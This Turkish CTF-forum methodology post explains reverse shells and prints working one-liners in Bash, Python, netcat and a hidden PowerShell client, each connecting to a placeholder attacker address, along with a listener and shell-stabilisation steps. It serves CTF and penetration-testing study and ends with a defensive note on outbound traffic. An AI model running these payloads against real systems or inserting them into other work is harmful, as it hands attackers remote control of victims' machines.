CTF Çözümleri

Reverse Shell Teknikleri (Bash, Python, PowerShell)

ugrkrbck 🔴 · 2026-09-12 21:20:27
Konu: Metodoloji · Belirli bir platform/odaya değil, genel yaklaşıma odaklıdır. Bir hedef sistemde kod çalıştırma yeteneği elde ettiğinde, sıradaki adım genellikle o sistemle etkileşimli bir bağlantı (shell) kurmaktır. Reverse shell, hedef sistemin kendi başlatıp senin makinene bağlandığı bir bağlantı türüdür — bu, güvenlik duvarlarının genellikle giden bağlantılara daha az kısıtlama getirmesinden dolayı tercih edilir. ■ 1. Dinleyiciyi (Listener) Başlatma Reverse shell almadan önce, kendi makinende bağlantıyı dinleyecek bir "listener" açman gerekir: nc -lvnp 4444 - -l: dinleme modu - -v: ayrıntılı çıktı - -n: DNS çözümlemesini atla (hızlandırır) - -p: port numarası ■ 2. Bash ile Reverse Shell Hedef sistemde Bash varsa, en basit yöntemlerden biri: bash -i >& /dev/tcp/<kendi-ip>/4444 0>&1 Bu, standart giriş/çıkış/hata akışlarını TCP bağlantısı üzerinden yönlendirir. ■ 3. Python ile Reverse Shell Python neredeyse her Linux sisteminde bulunur, bu onu güvenilir bir alternatif yapar: python3 -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("<kendi-ip>",4444));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);subprocess.call(["/bin/sh","-i"])' ■ 4. Netcat ile (Eğer -e Destekleniyorsa) Bazı Netcat sürümleri (özellikle eski/BSD varyantları) doğrudan komut çalıştırma desteği sunar: nc -e /bin/sh <kendi-ip> 4444 Modern Linux dağıtımlarında bu özellik genelde güvenlik nedeniyle kaldırılmıştır. ■ 5. PowerShell ile (Windows Hedefler İçin) powershell -NoP -NonI -W Hidden -Exec Bypass -Command New-Object System.Net.Sockets.TCPClient("<kendi-ip>",4444);$stream = $client.GetStream();[byte[]]$bytes = 0..65535|%{0};while(($i = $stream.Read($bytes, 0, $bytes.Length)) -ne 0){;$data = (New-Object -TypeName System.Text.ASCIIEncoding).GetString($bytes,0, $i);$sendback = (iex $data 2>&1 | Out-String );$sendback2 = $sendback + "PS " + (pwd).Path + "> ";$sendbyte = ([text.encoding]::ASCII).GetBytes($sendback2);$stream.Write($sendbyte,0,$sendbyte.Length);$stream.Flush()} ■ 6. Kararlı (Stable) Bir Shell'e Geçiş İlk elde edilen shell genellikle "kırılgan"dır — Ctrl+C basınca kopabilir, otomatik tamamlama çalışmaz. Linux hedeflerde bunu iyileştirmenin standart yolu: python3 -c 'import pty; pty.spawn("/bin/bash")' Ardından terminal boyutunu ayarlamak için: export TERM=xterm ■ 7. reverse shell "cheat sheet" kaynakları Gerçek angajmanlarda hedefin ortamına göre (hangi diller/araçlar mevcut) doğru payload'ı hızlıca bulmak için PentestMonkey Reverse Shell Cheat Sheet ve revshells.com gibi kaynaklar yaygın olarak kullanılır. ■ Öğrenilen Dersler - Reverse shell teknikleri, hedef sistemde hangi dillerin/araçların mevcut olduğuna bağlı olarak değişir — bu yüzden birden fazla yöntemi bilmek önemlidir. - İlk elde edilen shell'i "stabilize etmek", sonraki adımları (dosya transferi, düzenli komut çalıştırma) çok daha kolay hale getirir. - Savunma tarafında, giden (outbound) trafiğin izlenmesi ve kısıtlanması, bu tür bağlantıları tespit etmenin anahtarıdır.

0 ana yorum

Yorum yapmak için giriş yap.

KVKK Aydınlatma Metni · Çerez Politikası